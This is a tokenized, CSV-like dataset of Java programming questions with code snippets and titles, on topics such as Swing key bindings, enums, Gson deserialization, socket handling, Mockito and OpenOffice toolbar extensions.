randomlypublic class ProblemExample extends JPanel { private static final long serialVersionUID = 1L ; private int xPos = 200 , yPos = 200 ; private boolean wKey , aKey , sKey , dKey ; private BufferedImage image ; //sprite public ProblemExample ( ) { JFrame frame = new JFrame ( ) ; frame.add ( this ) ; frame.pack ( ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setResizable ( false ) ; frame.setLocationRelativeTo ( null ) ; frame.setVisible ( true ) ; //makes the sprite a red square image = new BufferedImage ( 50 , 50 , BufferedImage.TYPE_INT_ARGB ) ; int [ ] redPixels = new int [ 50 * 50 ] ; for ( int i = 0 ; i < redPixels.length ; i++ ) { redPixels [ i ] = 0xffff0000 ; } image.setRGB ( 0 , 0 , 50 , 50 , redPixels , 0 , 50 ) ; initializeKeys ( ) ; } @ Override public Dimension getPreferredSize ( ) { return new Dimension ( 800 , 600 ) ; } //sets up Key Bindings private void initializeKeys ( ) { final String W = `` W '' , A = `` A '' , S = `` S '' , D = `` D '' , PRESSED = `` PRESSED '' , RELEASED = `` RELEASED '' ; InputMap inputMap = this.getInputMap ( JPanel.WHEN_IN_FOCUSED_WINDOW ) ; ActionMap actionMap = this.getActionMap ( ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_W , 0 , false ) , W + PRESSED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_A , 0 , false ) , A + PRESSED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_S , 0 , false ) , S + PRESSED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_D , 0 , false ) , D + PRESSED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_W , 0 , true ) , W + RELEASED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_A , 0 , true ) , A + RELEASED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_S , 0 , true ) , S + RELEASED ) ; inputMap.put ( KeyStroke.getKeyStroke ( KeyEvent.VK_D , 0 , true ) , D + RELEASED ) ; Action wActionPressed = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { wKey = true ; } } ; Action aActionPressed = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { aKey = true ; } } ; Action sActionPressed = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { sKey = true ; } } ; Action dActionPressed = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { dKey = true ; } } ; Action wActionReleased = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { wKey = false ; } } ; Action aActionReleased = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { aKey = false ; } } ; Action sActionReleased = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { sKey = false ; } } ; Action dActionReleased = new AbstractAction ( ) { @ Override public void actionPerformed ( ActionEvent e ) { dKey = false ; } } ; actionMap.put ( W + PRESSED , wActionPressed ) ; actionMap.put ( A + PRESSED , aActionPressed ) ; actionMap.put ( S + PRESSED , sActionPressed ) ; actionMap.put ( D + PRESSED , dActionPressed ) ; actionMap.put ( W + RELEASED , wActionReleased ) ; actionMap.put ( A + RELEASED , aActionReleased ) ; actionMap.put ( S + RELEASED , sActionReleased ) ; actionMap.put ( D + RELEASED , dActionReleased ) ; } public void loop ( ) { if ( wKey ) yPos -= 5 ; if ( aKey ) xPos -= 5 ; if ( sKey ) yPos += 5 ; if ( dKey ) xPos += 5 ; repaint ( ) ; } @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.drawImage ( image , xPos , yPos , null ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { ProblemExample example = new ProblemExample ( ) ; Timer timer = new Timer ( 60 , new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { example.loop ( ) ; } } ) ; timer.start ( ) ; } } ) ; } }",Java Swing KeyBindings stop working only on Mac +Java,I have a question regarding enum ( it might be a simple one but ... . ) .This is my program : and my question is : Why the output is and nothello ? How the code is `` going '' twice to the constructor ? When is the first time and when is the second ? And why the enum constructor can not be public ? Is it the reason why it print twice and not one time only ?,"public class Hello { public enum MyEnum { ONE ( 1 ) , TWO ( 2 ) ; private int value ; private MyEnum ( int value ) { System.out.println ( `` hello '' ) ; this.value = value ; } public int getValue ( ) { return value ; } } public static void main ( String [ ] args ) { MyEnum e = MyEnum.ONE ; } } hellohello",enum properties & side effects +Java,"I am doing the design of a small project where I did n't use programming against interfaces for all my classes . I found that some classes would hardly ever be needed to change , so I let them be referenced by their client classes as concrete classes.So , let 's say we have ClassB that 'll be consumed be consumed by ClassA : My question is , should I create ClassB in ClassA , or should I pass that responsability `` up '' in the hierarchy ? I 'll depict both cases : orI 'd like to hear about how would you do it and what 'd be the rationale behind it ! Thanks",class ClassB { } class ClassA { private ClassB classB ; public ClassA ( ) { this.classB = new ClassB ( ) ; } } class ClassA { private ClassB classB ; public ClassA ( ClassB classB ) { this.classB = classB ; } },Should I make concrete class dependencies explicit through constructor injection in my classes ? +Java,"For my application , I 'd like to use two different hibernate caching strategies for a couple of entities . Therefore ( afaik , please correct me if I am wrong ) using annotations on the entities likewill not work as `` ConditionalStrategy '' has to be a constant field ( in order to be used with annotations ) .I have seen how to configure the caching strategies per entity using the hibernate.cfg file ( see https : //docs.jboss.org/hibernate/orm/3.3/reference/en/html/performance.html # performance-cache-mapping ) but I would like to set them directly using the JPA properties of the Spring LocalContainerEntityManagerFactoryBean , i.e.How would I have to set the JPA properties to replicate the annotation based configuration ? Is this even possible ? UPDATE for those facing the same problem : If someone runs into the same issues , also consider using the Spring Cache ( http : //docs.spring.io/spring/docs/current/spring-framework-reference/html/cache.html ) abstraction instead of the hibernate annotations ( which is what I have done in the end )","@ Cache ( usage=ConditionalStrategy ) public class MyEntity { ... } LocalContainerEntityManagerFactoryBean factory = new LocalContainerEntityManagerFactoryBean ( ) ; Properties jpaProps = new Properties ( ) ; // what to put here to configure the caching strategies per entity ? jpaProps.put ( ... , ... . ) factory.setJpaProperties ( jpaProbs ) ;",How to use two different Hibernate caching strategies for a couple of entities +Java,"I do n't understand the nature of Java Beans that well . Well , at least how I see them used in some code-bases that pass through our shop.I found this question : Java Beans : What am I missing ? The accepted answer there makes it look like programmers tend to abuse Java Bean ( which I really do n't doubt ) , but I see it happen so often and so deliberately , I think I 'm still missing something.I see code that looks like : No further structure or control than getters and setters . Is there some sort of super awesome compiler trick going on that involves reflection , getters and setters , and the need for some very awkward ( but compiler optimized ) static associative arrays ? Or maybe I 'm completely missing the point . : \Cheers ! Edit : Definitely not promoting the idea of public fields , here .",public class FooBean { private int a ; private int b ; private int c ; public int getA ( ) { return a ; } public int setA ( int x ) { a = x ; } // etc ... },Java Beans : Overglorified Associative Arrays ? +Java,I am new to Java Programming . Can anyone please explain me why the program outputs - `` fa la '' even though the static method is overridden . I read that static methods ca n't be overridden in Java ? Please correct me if I am wrong .,public class Tenor extends Singer { public static String sing ( ) { return `` fa '' ; } public static void main ( String [ ] args ) { Tenor t = new Tenor ( ) ; Singer s = new Tenor ( ) ; System.out.println ( t.sing ( ) + `` `` + s.sing ( ) ) ; } } class Singer { public static String sing ( ) { return `` la '' ; } },Static Methods in Java +Java,"I have an existing class I 'm trying to hook into to get some header parameters to SSO a user into our system . The class is as follows.What I 'm trying to figure out is how do I call getAllHeaders ( ) with the @ Context argument ? I 've found a ton of examples of the class I have , but nothing that shows how to call it.I 've also tried putting the annotation inside the class instead of as an argument.but when I try to access httpHeaders.getAllHeaders ( ) it returns null . I assume because it 's not actually created because the javax documents say it will never return null.I 'm trying to call this within my SSOAuthorizationFilter.java , but have also tried accessing it via a controller as well .","import java.util.Map ; import javax.ws.rs.GET ; import javax.ws.rs.Path ; import javax.ws.rs.Produces ; import javax.ws.rs.core.Context ; import javax.ws.rs.core.HttpHeaders ; import javax.ws.rs.core.MediaType ; import org.springframework.stereotype.Component ; @ Component @ Path ( `` /http '' ) public class HttpResource { @ GET @ Path ( `` /getHeaders '' ) @ Produces ( MediaType.APPLICATION_JSON ) public Map < String , String > getAllHeaders ( @ Context HttpHeaders headers ) { Map < String , String > headerList = new HashMap < String , String > ( ) ; for ( String key : headers.getRequestHeaders ( ) .keySet ( ) ) { String value = headers.getRequestHeader ( key ) .get ( 0 ) ; System.out.println ( key + `` : `` + value ) ; headerList.put ( key , value ) ; } return headerList ; } } @ ContextHttpHeaders httpHeaders ;",Passing @ Context argument to method in class +Java,How can I handle getting a field same name but different types ? I 'm getting sometimes integer value sometimes boolean value from API in the same request . I wonder how to handle when I get Json like these . I created type adapter but it does n't workI thought about creating different POJO classes . But this problem is not for just one request . I do n't prefer to create POJOs for this reason . Btw I saw similar questions but it does n't fix my problem.sometime I get intI am getting unexpected json exception when getting an integerI want to return a boolean value for every request . Does anyone know how to solve this problem ? Edit : I want to prevent instanceOf keyword via Type Adapter Solution : @ Michał Ziober 's respond works for me .,"{ `` name '' : `` john doe '' , `` isValid '' : true } { `` name '' : `` john doe '' , `` isValid '' : 1 } class XModel { private boolean isValid ; ... ... } class BooleanJsonDeserializer implements JsonDeserializer < Boolean > { private final Set < String > TRUE_STRINGS = new HashSet < > ( Arrays.asList ( `` true '' , `` 1 '' , `` yes '' ) ) ; @ Override public Boolean deserialize ( JsonElement json , Type typeOfT , JsonDeserializationContext context ) throws JsonParseException { System.out.println ( json ) ; JsonPrimitive jsonPrimitive = json.getAsJsonPrimitive ( ) ; if ( jsonPrimitive.isBoolean ( ) ) { return jsonPrimitive.getAsBoolean ( ) ; } else if ( jsonPrimitive.isNumber ( ) ) { return jsonPrimitive.getAsNumber ( ) .intValue ( ) == 1 ; } else if ( jsonPrimitive.isString ( ) ) { return TRUE_STRINGS.contains ( jsonPrimitive.getAsString ( ) .toLowerCase ( ) ) ; } return false ; } }",GSON converting Integer value to Boolean value dynamically for specific fields +Java,"It appears in java.lang.String.java , that Java will only generate the hashcode , and then store it , after a call to hashcode ( ) , but why not just make the hashcode in the constructor ? The relevant code : could for the most part be placed in the constructor .",if ( h == 0 & & count > 0 ) { int off = offset ; char val [ ] = value ; int len = count ; for ( int i = 0 ; i < len ; i++ ) { h = 31*h + val [ off++ ] ; } hash = h ; },Why is a Java String hash code lazy generated ? +Java,"I just wanted to generate some mazes using the easiest algorithm , but all my mazes look like the following one : Here is a piece of Java code ( a whatVisit function works correct , do n't look at it ) : And I know why it does n't work ! When DFS finally come to the place where there are no accessible cells , it just going out back to start.How to fix this and force to work correct ? Thanks .","private void dfs ( Point start , boolean [ ] [ ] visited ) { Point nextCell = whatVisit ( start , visited ) ; if ( nextCell == null ) // if there 's nothing to visit return ; // mark current cell as visited visited [ start.y ] [ start.x ] = true ; // destroy the wall between current cell and the new one borders [ ( start.y + nextCell.y ) /2 ] [ ( start.x + nextCell.x ) /2 ] = true ; // start a new search from found cell dfs ( nextCell , visited ) ; } private Point whatVisit ( Point p , boolean [ ] [ ] visited ) { Vector < Point > cells = new Vector < Point > ( ) ; // to store acessible cells // lookaround if ( p.x - 2 > = 0 & & ! visited [ p.y ] [ p.x - 2 ] ) cells.add ( new Point ( p.x - 2 , p.y ) ) ; if ( p.x + 2 < visited [ 0 ] .length & & ! visited [ p.y ] [ p.x + 2 ] ) cells.add ( new Point ( p.x + 2 , p.y ) ) ; if ( p.y - 2 > = 0 & & ! visited [ p.y - 2 ] [ p.x ] ) cells.add ( new Point ( p.x , p.y - 2 ) ) ; if ( p.y + 2 < visited.length & & ! visited [ p.y + 2 ] [ p.x ] ) cells.add ( new Point ( p.x , p.y + 2 ) ) ; // instead of Random Collections.shuffle ( cells ) ; // returns null if there are no acessible cells around if ( cells.size ( ) > 0 ) return cells.get ( 0 ) ; else return null ; }",Maze generation using DFS fails and I do n't know why +Java,There are 2 ways i have tried to obtain the MethodHandle to a given function . Method 1 Method 2What is the difference between both of them ?,"Method m = MyClass.class.getMethod ( `` myMethod '' , String.class , Map.class ) ; MethodHandle mh = MethodHandles.lookup ( ) .unreflect ( m ) ; MethodType type = MethodType.methodType ( void.class , String.class , Map.class ) ; MethodHandle mh = MethodHandles.lookup ( ) .findVirtual ( MyClass.class , `` myMethod '' , type ) ;",What is the difference between ` lookup.unreflect ( ) ` and ` lookup.findVirtual ( ) ` ? +Java,In the source code of com.sun.org.apache.xerces.internal.impl.XMLScanner at line 183 and 186 Why `` version '' and `` encoding '' are explicitly interned by using intern ( ) while they are string literals and would get automatically interned ?,183 protected final static String fVersionSymbol = `` version '' .intern ( ) ; 186 protected final static String fEncodingSymbol = `` encoding '' .intern ( ) ;,automatically interning of string literals +Java,"I 've created an animation for an ImageView based on a RotatedTranstion using the following code : This results in the following animation : Rotation in ActionAs you may have noticed in the animated gif , the animation is not continuous i.e there is a small delay ( pause ) between animation cycles.I 've tried to look at the API but ca n't figure out what causes this delay and how i can get rid of it .","ImageView icon = ImageCache.getImage ( `` refresh.png '' ) ; RotateTransition rotateTransition = new RotateTransition ( Duration.millis ( 2000 ) , icon ) ; rotateTransition.setByAngle ( 360.0 ) ; rotateTransition.setCycleCount ( Timeline.INDEFINITE ) ; rotateTransition.play ( ) ;",JavaFX : Rotated animation delay between cycles +Java,"I 'm trying to create a map of cities and temperature , but it 's throwing an IllegalArgumentException . Here 's what I 'm doing : If I add them one by one there 's no problem : Why does this happen ? Are n't the contents supposed to be the same ?","Map < String , Integer > tempMap = Map.of ( `` London '' , 13 , `` Paris '' , 17 , `` Amsterdam '' , 13 , `` Madrid '' , 21 , `` Rome '' , 19 , `` London '' , 13 , `` Bonn '' , 14 , `` Moscow '' , 7 , `` Barcelona '' , 20 , `` Berlin '' , 15 ) ; Map < String , Integer > tempMap = new Hashmap < > ( ) ; // or LinkedHashMaptempMap.put ( `` London '' , 13 ) ; tempMap.put ( `` Madrid '' , 21 ) ; tempMap.put ( `` Moscow '' , 7 ) ; // etc .",Why am I getting an IllegalArgumentException when creating a Map ? +Java,I 'm considering using using bintray to host some project dependencies in a maven repository . My problem is I 'm using Ivy and I ca n't seem to figure out how to take this maven configuration ( supplied by bintray ) : and turn it into something that Ivy can use . Can anyone help me with this ?,< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < settings xsi : schemaLocation='http : //maven.apache.org/SETTINGS/1.0.0 http : //maven.apache.org/xsd/settings-1.0.0.xsd'xmlns='http : //maven.apache.org/SETTINGS/1.0.0 ' xmlns : xsi='http : //www.w3.org/2001/XMLSchema-instance ' > < profiles > < profile > < repositories > < repository > < snapshots > < enabled > false < /enabled > < /snapshots > < id > central < /id > < name > bintray < /name > < url > http : //dl.bintray.com/content/example/external-deps < /url > < /repository > < /repositories > < pluginRepositories > < pluginRepository > < snapshots > < enabled > false < /enabled > < /snapshots > < id > central < /id > < name > bintray-plugins < /name > < url > http : //dl.bintray.com/content/example/external-deps < /url > < /pluginRepository > < /pluginRepositories > < id > bintray < /id > < /profile > < /profiles > < activeProfiles > < activeProfile > bintray < /activeProfile > < /activeProfiles > < /settings >,Using Bintray maven repository with Ivy +Java,"I have web service written on JAVA ( version 1.8 ) which connects HSM and sends/receives data via socket . My application is deployed on Apache Tomcat/8.5.14 on linux . Although I 'm closing socket connection properly I have java.net.SocketException : Too many open filesand here is myclassHere is using of my classI increased maximum open files limit on server from default value ( 1024 ) to 8192 and few times later the same Exception occurred again.I 'm thinking about creating Socket Connection Pool , is it good idea ? Can you suggest any other solutions ?","public class myClass implements AutoCloseable { Socket socket ; DataInputStream in ; DataOutputStream out ; public myClass ( String ip , int port ) throws Exception { try { socket = new Socket ( ip , port ) ; in = new DataInputStream ( new BufferedInputStream ( socket.getInputStream ( ) ) ) ; out = new DataOutputStream ( new BufferedOutputStream ( socket.getOutputStream ( ) ) ) ; } catch ( IOException e ) { throw new Exception ( `` Connecting to HSM failed '' + e ) ; } } public String sendCommandToHsm ( String command ) throws IOException { out.writeUTF ( command ) ; out.flush ( ) ; return in.readUTF ( ) ; } @ Override public void close ( ) { if ( socket ! = null & & ! socket.isClosed ( ) ) { try { socket.close ( ) ; } catch ( IOException e ) { lgg.info ( `` Closing of socket failed '' , e ) ; } } if ( in ! = null ) { try { in.close ( ) ; } catch ( IOException e ) { lgg.info ( `` Closing of inputStream failed '' , e ) ; } } if ( out ! = null ) { try { out.close ( ) ; } catch ( IOException e ) { lgg.info ( `` Closing of outputStream failed '' , e ) ; } } } } try ( MyClass myClass = new MyClass ( ip , port ) ; ) { myClass.sendCommandToHsm ( `` my command '' ) ; }",Fixing too many open files Exception ( I am using try-catch-finally ) +Java,Im working with the following method : DEMOWhy does n't it work ? I thought everything that extends array can be viewed as an array . Actually I can get length from the array .,public void m ( List < ? extends Object [ ] > objs ) { objs.stream ( ) .map ( oa - > oa [ 0 ] ) //compile error //array type expected .forEach ( System.out : :println ) ; },Array type expected [ compile-error ] +Java,"A very simple java code inside a doGet ( ) servlet is getting more than a second of cpu time on GAE . I have read some quota related documentation and apparently I am not doing anything wrong . I wanted to know what was using the CPU the most , I use a google help recommendation.The only thing that the code above tells me is that inspecting the header will use more than a second ( 1000ms ) of cpu time , which for Google is a warning on the log panel . That seems to be a very simple request and still is using more than a second of cpu . What I am missing ? Below the image of the logs for everyone 's entertainment.I am posting the full code , for the benefit of all .","//Request the user Agent infoString userAgent = req.getHeader ( `` User-Agent '' ) ; //The two lines below will get the CPU before requesting User-Agent Information QuotaService qs = QuotaServiceFactory.getQuotaService ( ) ; long start = qs.getCpuTimeInMegaCycles ( ) ; //Request the user Agent info String userAgent = req.getHeader ( `` User-Agent '' ) ; //The three lines below will get the CPU after requesting User-Agent Information // and informed it to the application log . long end = qs.getCpuTimeInMegaCycles ( ) ; double cpuSeconds = qs.convertMegacyclesToCpuSeconds ( end - start ) ; log.warning ( `` CPU Seconds on geting User Agent : `` + cpuSeconds ) ; @ SuppressWarnings ( `` serial '' ) public class R2CComingSoonSiteServlet extends HttpServlet { private static final Logger log = Logger.getLogger ( R2CComingSoonSiteServlet.class.getName ( ) ) ; public void doGet ( HttpServletRequest req , HttpServletResponse resp ) throws IOException { //The two lines below will get the CPU before requesting User-Agent Information QuotaService qs = QuotaServiceFactory.getQuotaService ( ) ; long start = qs.getCpuTimeInMegaCycles ( ) ; //Request the user Agent info String userAgent = req.getHeader ( `` User-Agent '' ) ; //The three lines below will get the CPU after requesting User-Agent Information // and informed it to the application log . long end = qs.getCpuTimeInMegaCycles ( ) ; double cpuSeconds = qs.convertMegacyclesToCpuSeconds ( end - start ) ; log.warning ( `` CPU Seconds on geting User Agent : `` + cpuSeconds ) ; userAgent = userAgent.toLowerCase ( ) ; if ( userAgent.contains ( `` iphone '' ) ) resp.sendRedirect ( `` /mobIndex.html '' ) ; else resp.sendRedirect ( `` /index.html '' ) ; } }",How to use Java on Google App Engine without exceeding minute quotas ? +Java,"Trying to stub a class with 2 possible invocation/return paths using custom Matcher ... ran into an interest problem.Here is a test I wrote to illustrate ... This might be difficult to implement , but I would have expected the 1st ArgumentMatcher is not invoked when stubbing the second when ( ... ) .thenReturn ( ... ) But running the code below prints foobar on stdout . Is there anything we can do to prevent this behavior ? Or am I using the wrong pattern by trying to stub a single mock with multiple custom ArgumentMatcherFYI - powermock is on my classpath for other tests ( not sure if that matters but I do see it in the stack trace ) EDIT added comments to help illustrate","import org.junit.Test ; import org.mockito.ArgumentMatcher ; import java.io.File ; import java.io.FilenameFilter ; import static org.mockito.Matchers . * ; import static org.mockito.Mockito.mock ; import static org.mockito.Mockito.when ; public class MyTest { @ Test public void name ( ) throws Exception { File file = mock ( File.class ) ; when ( file.list ( argThat ( new ArgumentMatcher < FilenameFilter > ( ) { @ Override public boolean matches ( Object argument ) { System.out.println ( `` foobar '' ) ; return 1 + 1 > 2 ; } } ) ) ) .thenReturn ( null ) ; // at this point , mockito will attempt to run the previous matcher , treating this stub code as invocation ... and printing out 'foobar ' when ( file.list ( argThat ( new ArgumentMatcher < FilenameFilter > ( ) { @ Override public boolean matches ( Object argument ) { System.out.println ( `` barbar '' ) ; return true ; } } ) ) ) .thenReturn ( null ) ; } }",Mockito counting stubbing as invocation +Java,"I have a text file with 42 lines . Each line has more than 22,000 numbers separated by comma . I wanted to extract certain numbers from each line , and I have an int array with a length of 1000 containing a 1,000 numbers that I need from each of those 42 lines . For example if the array contains 43 , 1 , 3244 , it means that I want the 43th number , the 1st number and the 3244th numbers from each line , starting from the first line ending with the 42nd line . My for loop does not seem to work , it reads only the first line from the text file that has the 42 lines of 220000 numbers , and I dont know where it goes wrong .","for ( int i=0 ; i < 42 ; i++ ) { //irretates through the 42 lines of counter=1 ; // to keep track about on which line the code is working System.out.println ( `` Starting line '' +i ) ; st2=new StringTokenizer ( raf1.readLine ( ) , '' , '' ) ; //raf3 is a RandomAccessFile object containing the 42 lines a : while ( st2.hasMoreTokens ( ) ) { b=is_there ( array2 , counter ) ; // is_there is a method that compares the rank of the taken being read with //the whole array that has the 1000 numbers that i want . if ( b==false ) { // if the rank or order of token [ e.g . 1st , 432th ] we are stopping at //is not among the 1000 numbers in the array counter++ ; continue a ; } else { //if true s2=st2.nextToken ( ) ; raf2.writeBytes ( s2 ) ; //write that token on a new empty text file raf2.writeBytes ( `` , '' ) ; // follow the number with a comma counter++ ; } } // end of for looppublic static boolean is_there ( int [ ] x , int y ) { boolean b=false ; for ( int i=0 ; i < x.length ; i++ ) { if ( x [ i ] ==y ) { b=true ; break ; } } return b ;",Reading data from RandomAccessFile producing incorrect results - Java +Java,is there any example on the web on how to build openoffice complex toolbar in Java ? I found examples in C++ but no in Java : http : //wiki.services.openoffice.org/wiki/Framework/Article/Generic_UNO_Interfaces_for_complex_toolbar_controlsi need an article or tutorial on how to build and OO addon that uses a complex tool bar in javai found this article http : //java.dzone.com/news/lets-extend-openofficeorg-java # comment-53245 which implements a java PopupMenuController . i tried to do same process but using a XToolbarController instead of PopupMenuController . however i could'nt get my controller addon to work.below are my controller.xcu and controller class.can you tell what i am doing wrong ? thanks.my Controller.xcu : my toolbar controller class :,"< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < oor : component-data xmlns : oor= '' http : //openoffice.org/2001/registry '' xmlns : xs= '' http : //www.w3.org/2001/XMLSchema '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' oor : name= '' Controller '' oor : package= '' org.openoffice.Office.UI '' > < node oor : name= '' Registered '' > < node oor : name= '' ToolBar '' > < node oor : name= '' c10 '' oor : op= '' replace '' > < prop oor : name= '' Command '' > < value > .uno : CommandLineToolbar < /value > < /prop > < prop oor : name= '' Module '' > < value > < /value > < /prop > < prop oor : name= '' Controller '' > < value > com.example.toolbar.Toolbar < /value > < /prop > < /node > < /node > < /node > < /oor : component-data > public final class Toolbar extends ComponentBase implements com.sun.star.util.XUpdatable , com.sun.star.frame.XToolbarController , com.sun.star.frame.XStatusListener , com.sun.star.lang.XServiceInfo , com.sun.star.lang.XInitialization , com.sun.star.frame.XSubToolbarController { private final XComponentContext m_xContext ; private static final String m_implementationName = Toolbar.class.getName ( ) ; private static final String [ ] m_serviceNames = { & quot ; com.sun.star.frame.ToolbarController & quot ; } ; private String msInternalName = & quot ; i do not now & quot ; ; private XComponent mxDocument ; private XTextComponent fixedText ; private XComboBox cBox_xComboBox ; private XMultiComponentFactory mxMCF ; public XMultiServiceFactory mxMSF ; public Toolbar ( XComponentContext context ) { m_xContext = context ; } ; public static XSingleComponentFactory __getComponentFactory ( String sImplementationName ) { XSingleComponentFactory xFactory = null ; if ( sImplementationName.equals ( m_implementationName ) ) xFactory = Factory.createComponentFactory ( Toolbar.class , m_serviceNames ) ; return xFactory ; } public static boolean __writeRegistryServiceInfo ( XRegistryKey xRegistryKey ) { return Factory.writeRegistryServiceInfo ( m_implementationName , m_serviceNames , xRegistryKey ) ; } // com.sun.star.util.XUpdatable : public void update ( ) { // TODO : Insert your implementation for & quot ; update & quot ; here . } // com.sun.star.frame.XToolbarController : public void execute ( short KeyModifier ) { // TODO : Insert your implementation for & quot ; execute & quot ; here . } public void click ( ) { // TODO : Insert your implementation for & quot ; click & quot ; here . } public void doubleClick ( ) { // TODO : Insert your implementation for & quot ; doubleClick & quot ; here . } public com.sun.star.awt.XWindow createPopupWindow ( ) { // TODO : Exchange the default return implementation for & quot ; createPopupWindow & quot ; ! ! ! // NOTE : Default initialized polymorphic structs can cause problems // because of missing default initialization of primitive types of // some C++ compilers or different Any initialization in Java and C++ // polymorphic structs . return null ; } public com.sun.star.awt.XWindow createItemWindow ( com.sun.star.awt.XWindow Parent ) { System.out.println ( & quot ; ToolbarCombobox createItemWindow start & quot ; ) ; Thread.currentThread ( ) .setContextClassLoader ( this.getClass ( ) .getClassLoader ( ) ) ; // xMSF is set by initialize ( Object [ ] ) try { // get XWindowPeer XWindowPeer xWinPeer = ( XWindowPeer ) UnoRuntime.queryInterface ( XWindowPeer.class , Parent ) ; Object o = mxMSF.createInstance ( & quot ; com.sun.star.awt.Toolkit & quot ; ) ; XToolkit xToolkit = ( XToolkit ) UnoRuntime.queryInterface ( XToolkit.class , o ) ; // create WindowDescriptor WindowDescriptor wd = new WindowDescriptor ( ) ; wd.Type = WindowClass.SIMPLE ; wd.Parent = xWinPeer ; wd.Bounds = new Rectangle ( 0 , 0 , 230 , 23 ) ; wd.ParentIndex = ( short ) -1 ; wd.WindowAttributes = WindowAttribute.SHOW |VclWindowPeerAttribute .DROPDOWN ; wd.WindowServiceName = & quot ; combobox & quot ; ; // create ComboBox XWindowPeer cBox_xWinPeer = xToolkit.createWindow ( wd ) ; cBox_xComboBox = ( XComboBox ) UnoRuntime.queryInterface ( XComboBox.class , cBox_xWinPeer ) ; // Get Interface for manipulating the text in the combobox fixedText = ( XTextComponent ) UnoRuntime.queryInterface ( XTextComponent.class , cBox_xComboBox ) ; fixedText.setText ( & quot ; Enter Command Here & quot ; ) ; XWindow cBox_xWindow = ( XWindow ) UnoRuntime.queryInterface ( XWindow.class , cBox_xWinPeer ) ; // add some elements cBox_xComboBox.addItems ( new String [ ] { & quot ; test & quot ; , & quot ; foo & quot ; , & quot ; bar & quot ; , & quot ; test2 & quot ; , & quot ; foo2 & quot ; , & quot ; bar2 & quot ; } , ( short ) 0 ) ; // cBox_xComboBox.addItems ( new String [ ] { & quot ; & quot ; } , ( short ) 4 ) ; cBox_xComboBox.setDropDownLineCount ( ( short ) 6 ) ; //cBox_xWindow.addKeyListener ( this ) ; System.out.println ( & quot ; ToolbarCombobox createItemWindow end & quot ; ) ; return cBox_xWindow ; } catch ( com.sun.star.uno.Exception e ) { System.out.println ( & quot ; ToolbarCombobox createItemWindow end not o.k. & quot ; ) ; return null ; } } // com.sun.star.lang.XEventListener : public void disposing ( com.sun.star.lang.EventObject Source ) { // TODO : Insert your implementation for & quot ; disposing & quot ; here . } // com.sun.star.frame.XStatusListener : public void statusChanged ( com.sun.star.frame.FeatureStateEvent State ) { // TODO : Insert your implementation for & quot ; statusChanged & quot ; here . } // com.sun.star.lang.XServiceInfo : public String getImplementationName ( ) { return m_implementationName ; } public boolean supportsService ( String sService ) { int len = m_serviceNames.length ; for ( int i=0 ; i & lt ; len ; i++ ) { if ( sService.equals ( m_serviceNames [ i ] ) ) return true ; } return false ; } public String [ ] getSupportedServiceNames ( ) { return m_serviceNames ; } // com.sun.star.lang.XInitialization : public void initialize ( Object [ ] aArguments ) throws com.sun.star.uno.Exception { if ( aArguments.length & gt ; 0 ) { mxMCF = m_xContext.getServiceManager ( ) ; mxMSF = ( XMultiServiceFactory ) UnoRuntime.queryInterface ( XMultiServiceFactory.class , mxMCF ) ; } } // com.sun.star.frame.XSubToolbarController : public boolean opensSubToolbar ( ) { // TODO : Exchange the default return implementation for & quot ; opensSubToolbar & quot ; ! ! ! // NOTE : Default initialized polymorphic structs can cause problems // because of missing default initialization of primitive types of // some C++ compilers or different Any initialization in Java and C++ // polymorphic structs . return false ; } public String getSubToolbarName ( ) { // TODO : Exchange the default return implementation for & quot ; getSubToolbarName & quot ; ! ! ! // NOTE : Default initialized polymorphic structs can cause problems // because of missing default initialization of primitive types of // some C++ compilers or different Any initialization in Java and C++ // polymorphic structs . return new String ( ) ; } public void functionSelected ( String aCommand ) { // TODO : Insert your implementation for & quot ; functionSelected & quot ; here . } public void updateImage ( ) { // TODO : Insert your implementation for & quot ; updateImage & quot ; here . } }",openoffice Complex toolbar in java +Java,"In the following example what actually happens ? The output is 3 , however I wanted to know what actually happens under the covers . For example i know that parentheses have higher priority to + so happening first ( a = 2 ) the expression should become a = 2 + 2.At runtime first the expression within parentheses should be executed and then a becomes 2 . It seems that the first a on the left to + gets `` loaded '' before of ( a = 2 ) and this last expression does not seem to override the previous loading.In other words I am quite confused to what exactly happens behind the scenes . If anybody knows , thanks a lot in advance .",int a = 1 ; a += ( a = 2 ) ;,"Assigning a variable , what actually happens , Java" +Java,"I had been looking at some code developed by an off-shore group . I see at least one `` constant interface '' per module defined.Example ( not real world ) : Per my understanding it is an anti-pattern as these does not any utility in run-time , and should be avoided or tackled in a different way.What are elegant ways to represent this ? Can enums be used instead ?","public interface RequestConstants { //a mix of different constants ( int , string , ... ) public static final int MAX_REQUESTS = 9999 ; public static final String SAMPLE_REQUEST = `` Sample Request '' ; }",What are most graceful alternatives to constant interfaces ? +Java,"I have a newbie question.I want that the partner method in the concrete implementations only receive parameters of its type or its subtype . One solution is to use generics to define Animal as : However someone can still abuse this aswhere a Bear is aspiring to partner with Lion . Is there someway that I can tie it to the type and subtypes of thisI tried searching through the existing questions and somehow I feel the design of the interface itself may be flawed . If someone can point out why this is wrong or the right way to achieve this , it would be greatly appreciated.Thanks !",interface Animal { void partner ( Animal other ) ; } class Lion implements 